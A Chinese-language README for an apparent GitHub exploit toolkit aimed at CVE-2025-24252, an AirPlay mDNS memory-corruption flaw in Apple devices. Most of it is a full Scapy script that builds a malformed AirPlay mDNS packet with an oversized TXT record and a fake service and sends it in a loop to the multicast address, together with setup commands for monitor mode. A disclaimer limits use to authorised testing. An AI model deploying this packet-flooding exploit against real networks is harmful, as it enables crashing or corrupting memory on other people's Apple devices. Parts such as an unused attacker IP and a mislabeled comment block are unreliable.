项目标题与描述
CVE-2025-24252 iOS "Airborne" 漏洞利用工具集
本项目专注于分析和演示CVE-2025-24252漏洞的利用方法。该漏洞存在于Apple设备的AirPlayReceiver组件中,是一个由mDNS TXT记录解析引起的严重内存安全问题。攻击者通过构造特制的mDNS数据包,可能导致目标设备进程内存损坏,在本地网络环境中造成严重安全威胁。
该漏洞影响范围广泛,包括iOS、iPadOS、macOS、tvOS和visionOS等多个Apple操作系统版本。CVSS 3.1评分为9.8分,属于严重级别漏洞。
功能特性
- 漏洞验证:提供完整的PoC(概念验证)代码,演示如何通过构造恶意mDNS数据包触发目标设备内存损坏
- 本地网络攻击:利用mDNS协议特性,实现在同一Wi-Fi网络内对Apple设备的潜在攻击
- 实时数据包构造:使用Scapy库动态构造包含畸形TXT记录的mDNS响应包
- 持续攻击模式:支持循环发送攻击包,用于稳定性测试和漏洞确认
- 环境要求明确:详细说明所需的网络配置和硬件条件,确保测试环境正确搭建
安装指南
系统要求
- Kali Linux或类似渗透测试发行版
- 支持监控模式的Wi-Fi适配器
- Python 3.x
- Apple设备(仅用于授权测试)
安装步骤
-
更新系统并安装依赖
sudo apt update sudo apt install python3-scapy avahi-daemon -y sudo systemctl start avahi-daemon -
配置Wi-Fi适配器为监控模式
sudo ip link set wlan0 down sudo iwconfig wlan0 mode monitor sudo ip link set wlan0 up -
克隆项目仓库
git clone https://github.com/B1ack4sh/Blackash-CVE-2025-24252.git cd Blackash-CVE-2025-24252 -
配置攻击参数
nano CVE-2025-24252.py修改代码中的攻击者IP地址和网络接口配置
使用说明
基础使用
-
启动漏洞利用
sudo python3 CVE-2025-24252.py -
监控目标设备状态 使用Wireshark或tcpdump捕获目标Apple设备的网络流量:
sudo tcpdump -i wlan0 host [目标设备IP] -w capture.pcap
攻击场景
- 实验室环境测试:在受控环境中验证Apple设备的安全性
- 安全研究:分析mDNS协议实现中的内存管理问题
- 渗透测试:在授权范围内评估网络设备的漏洞状态
注意事项
- 必须与目标Apple设备处于同一Wi-Fi网络
- 监控模式对于正确接收端口5353的组播mDNS流量至关重要
- 仅用于自有设备或已获得测试权限的设备
核心代码
漏洞触发主程序
from scapy.all import *
import time
# 崩溃触发和稳定性测试以确认漏洞
# 设置攻击者IP和接口
attacker_ip = "10.10.10.10"
iface = "wlan0"
# 构建畸形的mDNS TXT记录
txt_records = [
b"model=AppleTV3,2",
b"deviceid=aa:bb:cc:dd:ee:ff",
b"features=0x100029ff", # 正常特征值
b"oversized=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" # 溢出的超长数据
]
# 创建mDNS(组播DNS)数据包
dns = DNS(
id=0,
qr=0, # 查询标志
opcode=0, # 操作码
qdcount=1, # 问题计数
ancount=1, # 回答计数
qd=DNSQR(qname="_airplay._tcp.local", qtype="PTR"),
an=DNSRR(
rrname="_airplay._tcp.local",
type="PTR", # 指针记录类型
rclass=0x8001, # 类别标志
ttl=120, # 生存时间
rdata="EvilAppleTV._airplay._tcp.local"
)
)
# 构建包含畸形TXT记录的完整数据包
pkt = (
Ether(dst="ff:ff:ff:ff:ff:ff") / # 广播MAC地址
IP(dst="224.0.0.251") / # mDNS组播地址
UDP(sport=5353, dport=5353) / # mDNS标准端口
dns /
DNSRR(
rrname="EvilAppleTV._airplay._tcp.local",
type="SRV", # 服务记录
ttl=120,
rclass=1,
rdlen=0, # 资源数据长度
rdata="\x00\x00\x00\x00"
) /
DNSRR(
rrname="EvilAppleTV._airplay._tcp.local",
type="TXT", # 文本记录(漏洞触发点)
ttl=120,
rclass=1,
rdata=b"\x00".join(txt_records) # 使用null字节连接TXT记录
)
)
print("[*] 发送畸形的AirPlay mDNS数据包...")
# 循环发送攻击包,间隔2秒
sendp(pkt, iface=iface, loop=1, inter=2)
漏洞技术说明
# CVE-2025-24252 iOS "Airborne" 漏洞 - 日志工件提取器
# 漏洞描述:
# 这是一个释放后使用(Use-After-Free)问题,已通过改进内存管理解决。
# 该问题在以下版本中修复:
# - macOS Sequoia 15.4
# - tvOS 18.4
# - macOS Ventura 13.7.5
# - iPadOS 17.7.6
# - macOS Sonoma 14.7.5
# - iOS 18.4 和 iPadOS 18.4
# - visionOS 2.4
# 本地网络中的攻击者可能能够损坏进程内存。
# 漏洞指标:
# ADP: `CISA-ADP` 基础分数: 9.8 严重
# 攻击向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# CVE-2025-24252 – mDNS TXT记录崩溃触发:
# 该漏洞影响`AirPlayReceiver`组件,通过畸形的mDNS TXT记录触发。
免责声明
⚠️ 重要声明
本工具仅用于教育和研究目的。请仅在您拥有或已获得测试权限的系统上使用。未经授权的攻击测试是非法的,可能导致严重的法律后果。开发者和贡献者不对任何滥用行为负责。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4gEQ07DuLD5IWxYUCgDuUo